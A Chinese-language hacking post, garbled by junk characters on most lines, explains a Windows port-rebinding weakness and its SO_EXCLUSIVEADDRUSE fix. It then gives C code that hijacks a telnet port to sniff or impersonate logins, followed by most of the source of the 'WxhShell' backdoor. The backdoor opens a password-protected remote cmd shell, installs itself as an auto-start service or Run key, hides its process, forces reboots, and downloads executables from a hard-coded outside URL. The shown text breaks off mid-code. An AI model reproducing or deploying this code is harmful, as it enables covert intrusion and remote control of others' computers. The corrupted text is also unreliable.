在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
oQBfDD0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5#!pwjt~7 !E'jd72O saddr.sin_family = AF_INET;
_1VtVfiZ{ 5Y"JRWC saddr.sin_addr.s_addr = htonl(INADDR_ANY);
hp/}Z"A= #6[FGM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
& ;ie+/B =mxmJFA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
vq
B)PL5) L0/0<d(K 这意味着什么?意味着可以进行如下的攻击:
s_yY,Z: nsqc^
K^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
aF1pq x\)0+c~\}x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KA#4iu{ M~t S
* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B<T wTv O%AQ'[' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3b
(I~ U~azI(1"W 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M\BLuD 4Cr|]o' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3(Kj|u S^HuQe!# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
I
$!Y 4E}]> #include
r5xu#%hgp; #include
r]iec{ ^ #include
j)?I]j/ #include
iqig~fjK~ DWORD WINAPI ClientThread(LPVOID lpParam);
SWvy<f4< int main()
Cp7 EJr~ {
eNY$N_P WORD wVersionRequested;
E)|fKds
DWORD ret;
2~AGOx WSADATA wsaData;
]i3 2-8% BOOL val;
@]":3 SOCKADDR_IN saddr;
US 9cuah1/ SOCKADDR_IN scaddr;
[~,~ e
int err;
y&")7y/uE SOCKET s;
V7.xKmB SOCKET sc;
u* G|TF int caddsize;
2u4aCfIx HANDLE mt;
*`YR-+0 DWORD tid;
y+\nj3v6 wVersionRequested = MAKEWORD( 2, 2 );
@[D-2s err = WSAStartup( wVersionRequested, &wsaData );
eVL'Ao&Ho if ( err != 0 ) {
a]|P rjPI printf("error!WSAStartup failed!\n");
`So*\#\T return -1;
&uI`Xq. }
_V^^%$ saddr.sin_family = AF_INET;
js/N qf2> T.HS. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
yf(VwU,
x ?ntyF-n& saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
W]{mEB saddr.sin_port = htons(23);
J'`,];su if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(0g@Z`r {
/KFCq|;7s, printf("error!socket failed!\n");
sqFMO+ return -1;
'z0@|a }
LRW7_XYz val = TRUE;
zFmoo4P/ //SO_REUSEADDR选项就是可以实现端口重绑定的
RNE})B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kaQn'5 {
m!L&_Z|j printf("error!setsockopt failed!\n");
%?1k}(qUeY return -1;
02q]^3 }
rwGY )9| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
73OFFKbsk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8Ih+^Y
a //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
3yn>9qt N1`/~Gi if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H]K(`)y}4 {
Q"n|<!DN ret=GetLastError();
(E )@@p7,: printf("error!bind failed!\n");
`j{5$X return -1;
ZNNgi@6> }
N
'2Nv listen(s,2);
pwU
l&hwte while(1)
fx2r\ usX[ {
:
&>PN,q> caddsize = sizeof(scaddr);
NCbn<ojb //接受连接请求
xhLVLXZ9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nm2bBX,fh if(sc!=INVALID_SOCKET)
?a+>%uWt {
,r!_4|\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$e1==@
R if(mt==NULL)
a[bu{Z]% {
6a51bj!f printf("Thread Creat Failed!\n");
|{udd~oE& break;
Elw fqfO }
GawQ~rD }
p3>p1tC CloseHandle(mt);
t$m~O?I }
T!u&r closesocket(s);
EUevR/S WSACleanup();
u+"3l@Y# return 0;
\tH^w@j47 }
aEBQx DWORD WINAPI ClientThread(LPVOID lpParam)
-}Vnr\f {
1Ys6CJ# SOCKET ss = (SOCKET)lpParam;
4/e|N#1`;[ SOCKET sc;
MgkeD unsigned char buf[4096];
f-&4x_5 SOCKADDR_IN saddr;
Q]wM WV long num;
&6V[@gmD
DWORD val;
:23w[vt= DWORD ret;
".Z|zt6C //如果是隐藏端口应用的话,可以在此处加一些判断
xwoK#eC~F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(
`T;nz saddr.sin_family = AF_INET;
da<B6! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@."_XL74 saddr.sin_port = htons(23);
PoTJ4z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{2QCdj46 {
mDZ/Kp{ printf("error!socket failed!\n");
o|FjNL return -1;
Hy}oSy26 }
Hz39v44 val = 100;
AlF"1X02 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q |,(C0<G {
If[4]-dq ret = GetLastError();
IJ >qs8 return -1;
nKpXRuFn\ }
NH+?7rf8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L|O[u^ {
W
u?A} fH ret = GetLastError();
!c+,OU[ return -1;
[H ^ktF }
/Ilve
U`E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
6Q\0v {
gD`|N@W$5 printf("error!socket connect failed!\n");
;w0|ev6| closesocket(sc);
;pn*|Bsq closesocket(ss);
t+7|/GLs2 return -1;
IL*Ghq{/ }
&/)2P#u while(1)
62BT 3/~ {
ZYf0FC=- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Mkc
//如果是嗅探内容的话,可以再此处进行内容分析和记录
.yK~FzLs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
84(NylZ num = recv(ss,buf,4096,0);
`wIMu$i if(num>0)
W%Jw\ z= send(sc,buf,num,0);
&d}1)? else if(num==0)
kF{'?R5w break;
#_oN.1u57 num = recv(sc,buf,4096,0);
^\o 3V< if(num>0)
{"f4oK{w send(ss,buf,num,0);
qaE>]) else if(num==0)
r2dU>U*:4 break;
[\|`C4@3a }
k2]fUP closesocket(ss);
]k0Pe;< closesocket(sc);
|AD"}8 return 0 ;
vlW521 }
rf@Cz%xDD C1/qiSHsh Y
1v9sMN, ==========================================================
bxU 2.YC f7&53yZF 下边附上一个代码,,WXhSHELL
XR2Gw4] p ~LTu<*S ==========================================================
~O|g~H5; *GUQz #include "stdafx.h"
jTSN`R9@ (tG8HwV- #include <stdio.h>
} J_"/bB #include <string.h>
4th*=ku #include <windows.h>
>aw`kr #include <winsock2.h>
'c]Fhe fb #include <winsvc.h>
'BUix!k0< #include <urlmon.h>
(%N=7? `LroH>_ #pragma comment (lib, "Ws2_32.lib")
0Wd2Z-I #pragma comment (lib, "urlmon.lib")
C_5o&O8Bc %X|fp{C #define MAX_USER 100 // 最大客户端连接数
kh7RQbNY<I #define BUF_SOCK 200 // sock buffer
Z+8Q{|Ev #define KEY_BUFF 255 // 输入 buffer
kJP`C\4}f A[7\!bq5 #define REBOOT 0 // 重启
p"'knZG #define SHUTDOWN 1 // 关机
&|]GTN`E m/E$0tf #define DEF_PORT 5000 // 监听端口
9-B/n0 e^ Aw%t #define REG_LEN 16 // 注册表键长度
~-J!WC==U #define SVC_LEN 80 // NT服务名长度
d+m}Z>iQ1O FGRdA^` // 从dll定义API
H^TU?vz}
< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%2q0lFdcM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5u5-:#sLy typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'}$]V>/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
r(qwzUI $l
W
7me // wxhshell配置信息
EOj.Jrs~ struct WSCFG {
v.Vdjs int ws_port; // 监听端口
)I{~Pcq char ws_passstr[REG_LEN]; // 口令
R(t1Ei.-? int ws_autoins; // 安装标记, 1=yes 0=no
$c1zMkY)u char ws_regname[REG_LEN]; // 注册表键名
2%{(BT6 char ws_svcname[REG_LEN]; // 服务名
2h;#BJ)) char ws_svcdisp[SVC_LEN]; // 服务显示名
-f&m4J} E char ws_svcdesc[SVC_LEN]; // 服务描述信息
#TUuk char ws_passmsg[SVC_LEN]; // 密码输入提示信息
f)_k_ < int ws_downexe; // 下载执行标记, 1=yes 0=no
g6D7Y<}d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@r130eLh char ws_filenam[SVC_LEN]; // 下载后保存的文件名
c'!+]'Lr Vb57B.I };
ow<z @^ 3' q2{Aq[ // default Wxhshell configuration
h 2QJQ|7a struct WSCFG wscfg={DEF_PORT,
7QXp\<7 "xuhuanlingzhe",
Jx+e_k$gHO 1,
[<nmJ-V "Wxhshell",
C
CDO8 "Wxhshell",
dEu\}y| "WxhShell Service",
}+/F?_I=
% "Wrsky Windows CmdShell Service",
R9q9cBi3 "Please Input Your Password: ",
'=V1'I*
1,
S%6 V(L| "
http://www.wrsky.com/wxhshell.exe",
eaWK2%v "Wxhshell.exe"
_xz>O[unf };
hY(q@_s #qcF2&a% // 消息定义模块
c,,(s{1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-s_=4U, char *msg_ws_prompt="\n\r? for help\n\r#>";
oC
} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3vc2t6S%* char *msg_ws_ext="\n\rExit.";
vEZd;40y char *msg_ws_end="\n\rQuit.";
XS_Ib\-50 char *msg_ws_boot="\n\rReboot...";
}C'h<%[P char *msg_ws_poff="\n\rShutdown...";
0l'"idra char *msg_ws_down="\n\rSave to ";
qmF+@R&^i .L=C7 w1 char *msg_ws_err="\n\rErr!";
=7vbcAJ\ char *msg_ws_ok="\n\rOK!";
D,,$ !h.bD/?K char ExeFile[MAX_PATH];
.4%6_`E int nUser = 0;
CubBD+hl* HANDLE handles[MAX_USER];
y,F|L?dIq int OsIsNt;
/ReOf<%B (GJX[$@ SERVICE_STATUS serviceStatus;
6DxT(VU} SERVICE_STATUS_HANDLE hServiceStatusHandle;
/4Sul*{hc Yw6d-5=: // 函数声明
}nt,DG!r int Install(void);
!#TM%w int Uninstall(void);
Y![//tg int DownloadFile(char *sURL, SOCKET wsh);
$.Qu55=z< int Boot(int flag);
~E3"s void HideProc(void);
a
IgV"3 int GetOsVer(void);
WW3! ,ln_ int Wxhshell(SOCKET wsl);
B@K =^77 void TalkWithClient(void *cs);
{SJnPr3R int CmdShell(SOCKET sock);
rhH !-`m int StartFromService(void);
M1,1J-h int StartWxhshell(LPSTR lpCmdLine);
s g6e%
5 o#frNT} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Wg[ThaZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
p8X$yv ,/Yo1@U // 数据结构和表定义
)%Lgo${[; SERVICE_TABLE_ENTRY DispatchTable[] =
_n12Wx{ {
FX&)~) {wscfg.ws_svcname, NTServiceMain},
lfe^_`ij(+ {NULL, NULL}
e)Pm{:E };
'l41];_ ;Ebpf J // 自我安装
&^JYIRn1\ int Install(void)
VCCG_K9' {
W't.e0L<6 char svExeFile[MAX_PATH];
&aWY{ ?_ HKEY key;
IfF&QBi strcpy(svExeFile,ExeFile);
&Tn7 40Z/;,wp{ // 如果是win9x系统,修改注册表设为自启动
*rmwTD" if(!OsIsNt) {
U\`yLsKvH` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q,fk@GI'2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tg%C>O RegCloseKey(key);
nTH!_S>b(Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
InfUH8./t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Yvxp( RegCloseKey(key);
tbq_Rg7s return 0;
>YP]IQ }
a^MR"i>@G }
gLQbA$gB }
P#x]3j] else {
yL%k5cO$N d
A' h7D // 如果是NT以上系统,安装为系统服务
L}.V`v{zc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
O\[Td if (schSCManager!=0)
BGZvgMxLJ {
jY8u1z SC_HANDLE schService = CreateService
QAK.Qk?Qu (
+{/*P5 schSCManager,
SPY4l*kX wscfg.ws_svcname,
K$Yc!4M wscfg.ws_svcdisp,
*EzAo SERVICE_ALL_ACCESS,
zP;1mN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
x|IG'R1:Y SERVICE_AUTO_START,
_.ELN/$- SERVICE_ERROR_NORMAL,
$jKeJn8, svExeFile,
G8ksm2 } NULL,
wA>bL PTw NULL,
:O{oVR NULL,
aShZdeC*f NULL,
i4*!t.eI NULL
o]@g%_3X );
m8ydX6~max if (schService!=0)
EL=}xug,? {
?$\y0lHw/7 CloseServiceHandle(schService);
O-K!Bv^
Q CloseServiceHandle(schSCManager);
uH?lj& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wJF Fg : strcat(svExeFile,wscfg.ws_svcname);
x1ID6kI[{* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
s7#|'jhZt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
DozC> RegCloseKey(key);
uyDYS return 0;
M"$TXXe }
)gq( }
dk9nhS+faJ CloseServiceHandle(schSCManager);
$/uNV1]o }
t?j2Rw3f`I }
jw!QjVuRN% BA+:}81&<q return 1;
/,Sd }
!saKAb}d7H .+cYzS]! // 自我卸载
sw@*N int Uninstall(void)
\ml6B6 {
DLrG-C33 HKEY key;
b1{XGK' P!)k 4n if(!OsIsNt) {
hrr ;=q$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E~|`Q6&Y RegDeleteValue(key,wscfg.ws_regname);
i|Y_X RegCloseKey(key);
"UY.;
P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4c_F>Jw[ RegDeleteValue(key,wscfg.ws_regname);
Q,A`"e#: RegCloseKey(key);
@9rmm)TZ return 0;
;ckv$S[p }
d#eHX|+ }
m'%Z53& }
^(0tNX/XD else {
OWK)4[HY( \T_?<t,UT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
HG%H@uK if (schSCManager!=0)
IJn r^S8 {
jdY v*/^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
f-tV8 if (schService!=0)
6)eU &5z1? {
=w.#j-jR if(DeleteService(schService)!=0) {
g loo].z CloseServiceHandle(schService);
Gr;~P* CloseServiceHandle(schSCManager);
(A*r&Ak[ return 0;
V8xv@G{; }
$u4esg CloseServiceHandle(schService);
'c<@SVF{Zz }
#:68}f"$ CloseServiceHandle(schSCManager);
:;XHA8 }
;v6e2NacM' }
Te#wU e-| ^IGTGY]s return 1;
CW=-@W7 }
t747SZWgB I$`Vw > // 从指定url下载文件
ytmlG% int DownloadFile(char *sURL, SOCKET wsh)
8[FC {
*3<m<<>U HRESULT hr;
FJ}QKDQW= char seps[]= "/";
':!;6v|L char *token;
K (plzQ3 char *file;
f41!+W= char myURL[MAX_PATH];
00G[`a5 char myFILE[MAX_PATH];
QLH
s 3eM `4&\ %9 strcpy(myURL,sURL);
<!zItFMD[m token=strtok(myURL,seps);
5hp b=2 while(token!=NULL)
j>s%q. {
,7M9f file=token;
1{"fmV token=strtok(NULL,seps);
F
,{nG[PL }
3@}HdLmN| N_VAdNJ^: GetCurrentDirectory(MAX_PATH,myFILE);
PSHs<Z47 strcat(myFILE, "\\");
A}\Rms2 strcat(myFILE, file);
^%d+nKx9nL send(wsh,myFILE,strlen(myFILE),0);
\FTvN send(wsh,"...",3,0);
hpXu3o7e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
EW4XFP4
c if(hr==S_OK)
:7Vm]xd}do return 0;
4:<0i0)5 else
9~,eu return 1;
oUw-l_ M] z6G^ BaT' }
~|J6M
W{;!JI7;z // 系统电源模块
r+0)l:{. int Boot(int flag)
oqDW}>. {
%e%nsj6 HANDLE hToken;
8XJ%Yuu TOKEN_PRIVILEGES tkp;
@;<w"j`r ]jHB'Y if(OsIsNt) {
317Buk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1}8e@`G0.] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
NE9e brK tkp.PrivilegeCount = 1;
I/WnF"yP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r 'jVF'w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^s5.jlZr@ if(flag==REBOOT) {
l.BSZhO$ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
59^@K"J return 0;
'*3+'> }
E7_^RWG else {
A{6ZEQAh> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Y\p
yl return 0;
LwGcy1F. }
x2ol }
%q*U[vv else {
:{66WSa@Dd if(flag==REBOOT) {
KUyua~tF if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~+lC%R return 0;
e-}PJ%!,T }
N%B#f\N else {
8:&@MZQ&! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
TVFGonVY return 0;
%okEN!= }
Pm?6]] 7 }
,+X8?9v c~RIl5j return 1;
|ntJ+ }
Pucf0 # *q0N$}k // win9x进程隐藏模块
ldX]A#d. void HideProc(void)
J)fS2Ni+ {
Jx>P%>+<j <m(nZ'Zqz2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
r\3In-(AT if ( hKernel != NULL )
F}01ikXDb' {
lHGv:TN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2hu6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
y~luuV;uj FreeLibrary(hKernel);
&e rNVD5o }
5;^8wh( 84knoC return;
ev?>Nq+Z }
d;;=s=j )nJ>kbO~8 // 获取操作系统版本
@P.l8|w int GetOsVer(void)
2d>PN^x {
ifgaBXT55 OSVERSIONINFO winfo;
f(_qcgXp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]Pd*w`R GetVersionEx(&winfo);
.Nf*Yqs0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+'Ge?(E4_ return 1;
p~mB;pZ%; else
1_p'0lFe return 0;
[MEa@D<7N }
vv8$u3H (~OwO_|3 // 客户端句柄模块
d)G-K+&B int Wxhshell(SOCKET wsl)
qe$K6A %Yd {
{ &qBr&kg SOCKET wsh;
=az$WRV+7! struct sockaddr_in client;
aFSZYyPxwv DWORD myID;
,f1wN{P eP2 y U while(nUser<MAX_USER)
Q.|2/6hD7[ {
{'ZnxK' int nSize=sizeof(client);
|-|BM'Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
A|&EI-In if(wsh==INVALID_SOCKET) return 1;
VC+\RB#:- ;|^fAc~9{r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-12v/an]L7 if(handles[nUser]==0)
1=D!C lcb closesocket(wsh);
g/@C ESfm' else
67g/(4 & nUser++;
qQ_B[?+W }
=['ijD4TW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UiSc*_N" ZV U9 t return 0;
kU
Flp }
ec0vg.>p UEe qk"t^ // 关闭 socket
uJO*aA{K void CloseIt(SOCKET wsh)
/Yh([P> {
f6"j-IW[z closesocket(wsh);
us cR/d
nUser--;
E.6\(^g ExitThread(0);
}n=NHHtJ }
bk?\=4B:E y,x~S\>+ // 客户端请求句柄
) )F.|w void TalkWithClient(void *cs)
O>Sbb2q?" {
QCo^#- gvJJ.IX]+ SOCKET wsh=(SOCKET)cs;
gMvvDP!Wp char pwd[SVC_LEN];
pE<' '` char cmd[KEY_BUFF];
F,zJdJ char chr[1];
|<V{$),k int i,j;
!+6l.`2WI 0%t|?@HoN while (nUser < MAX_USER) {
xH0/R LK3J 3q>"#+R.t if(wscfg.ws_passstr) {
,*4"d._Y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
NLpD,q{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'KL(A-}! //ZeroMemory(pwd,KEY_BUFF);
hJ<2bgQo i=0;
@CmxH(-i- while(i<SVC_LEN) {
w s=T R }B-A*TI<h // 设置超时
Dpd$&Wr0Y fd_set FdRead;
UE4#j\ struct timeval TimeOut;
pUr[MnQLf FD_ZERO(&FdRead);
7" [;M FD_SET(wsh,&FdRead);
(`NRF6'&1L TimeOut.tv_sec=8;
' 7A7HDJ TimeOut.tv_usec=0;
39j d}]e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]| yH8 m if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
twtDyo(\ w(j9[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=I(s7=Liu pwd
=chr[0]; hvyN8We
if(chr[0]==0xd || chr[0]==0xa) { 6&Dvp1`m
pwd=0; z!+<m<
break; r2th6hl~
} Lk9>7xY
i++; b{rmxtx
} RtL<hD
^ztf:'l@C
// 如果是非法用户,关闭 socket 4.'EEuRw\}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + LwoBn>6
} D$cMPFa2Nt
*ls6#j@
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bwJi[xF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WGmCQE[/c
eFQi
K6`i
while(1) { 4Le5Ms/
Z|c9%.,
ZeroMemory(cmd,KEY_BUFF); yLx.*I^6
[q&J"dt
// 自动支持客户端 telnet标准 ej;taKzj
j=0; pJz8e&wyLM
while(j<KEY_BUFF) { {yHfE,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L\ %_<2
cmd[j]=chr[0]; xgz87d/<:
if(chr[0]==0xa || chr[0]==0xd) { |^Es6 .~
cmd[j]=0; -z$0S%2?
break; .;b>
T
} uKy *N*}
j++; =T)2wcXBB
} ib_Gy77Os
X6 ,9D[Nw
// 下载文件 ^wa9zs2s;/
if(strstr(cmd,"http://")) { bJm0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ ""MeaM8[
if(DownloadFile(cmd,wsh)) q4i8Sp>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j6vZ{Fx;w
else $:[BB,$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0*?XQV@
} >!1 f`
else { s8[9YfuW
4C%>/*%8>
switch(cmd[0]) { ^-u HdafP
I_G>W3
// 帮助 iyYY)roB
case '?': { h50StZ8Yr
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nZCpT
|M5
break; `M ygDG+u
} &8_;:
// 安装 zD^f%p ["#
case 'i': { nq f<NH3i
if(Install()) k8e"5 he
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IWqxT?*
else OLNn3
J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "t:.mA<v
break; fVUBCu
} k6'#
// 卸载 1fW4=pF-K
case 'r': { uV_)JZW,L
if(Uninstall()) i*R:WTw#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |OZ>/l {
else O'-Zn]@.]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+I/y,aC
break; Nf 'dT;s.N
}
YeC,@d[
// 显示 wxhshell 所在路径 Y@H,Lk
case 'p': { I`W-RWZ
char svExeFile[MAX_PATH]; g[au-.:
strcpy(svExeFile,"\n\r"); >J3ja>Gw/
strcat(svExeFile,ExeFile); =9 M|o0aY
send(wsh,svExeFile,strlen(svExeFile),0); BhW]Oq&
break; |Xm4(FN\
} T[h}A"yK;
// 重启 -\'.JA_
case 'b': { u rXb!e{l
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #IaBl?}r^
if(Boot(REBOOT)) $Kz\
h#}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NB5L{Gf6-
else { OF<n T
closesocket(wsh); @MZ6E$I
ExitThread(0); x;FO|fH
} mnQjX ?
break; QP5:M!O<)
} xrVZxK:!
// 关机 S~rVRC"<xo
case 'd': { aC yb-P
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .;Utkf'I
if(Boot(SHUTDOWN)) Z#Zzi5<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4zqE?$HM'
else { \kV7NA
closesocket(wsh); uP{+?#a_-\
ExitThread(0); tw4am.o1]
} }'V'Y[
break; ,rFLpQl
} vg:J#M:
// 获取shell ro&Y7m
case 's': { M-Z6TL
CmdShell(wsh); $sc8)d\B
closesocket(wsh); y:|.m@
j1
ExitThread(0); ?Y0$X>nm
break; x|v[Dxf]
} }8V;s-1
// 退出 )/WA)fWkT
case 'x': { _UBJPb@=U
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^dUfTG9{
CloseIt(wsh); t66f 7AR
break; F*4Qa
} F0BOhlK
// 离开 p#;dLM/EA
case 'q': { iTugvb
send(wsh,msg_ws_end,strlen(msg_ws_end),0); D;^ZWz0
closesocket(wsh); vQBY1-S
WSACleanup(); dVVvG]
exit(1); Ife,h
s
break; XuFm4DEJ
} }U?gKlLg
} p21=$?k!;
}
krr-ZiK
D2TXOPH
// 提示信息 SJ@8[n.x
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yToT7 X7F7
} Xw*%3'
} ;ad9{":J#B
4('0f:9z+
return; k\Z;Cmh>
} neB.Wu~WH
+2V%'{:
// shell模块句柄 5gc:Y`7t
int CmdShell(SOCKET sock) ]O[+c*|w
{ Q_dXRBv=n
STARTUPINFO si; 9!O+Ryy?\
ZeroMemory(&si,sizeof(si)); c;b[u:>~-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hHfe6P
|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iC\rhHKQ
PROCESS_INFORMATION ProcessInfo; kKxL04
char cmdline[]="cmd"; t7*G91Hoq&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mq{$9@3
return 0; )WP]{ W)r
} >uyeI&z
<nOuyGIZ
// 自身启动模式 r?"}@MRW
int StartFromService(void) 1&8j3"
{ GFQG(7G9
typedef struct ~51kiQW
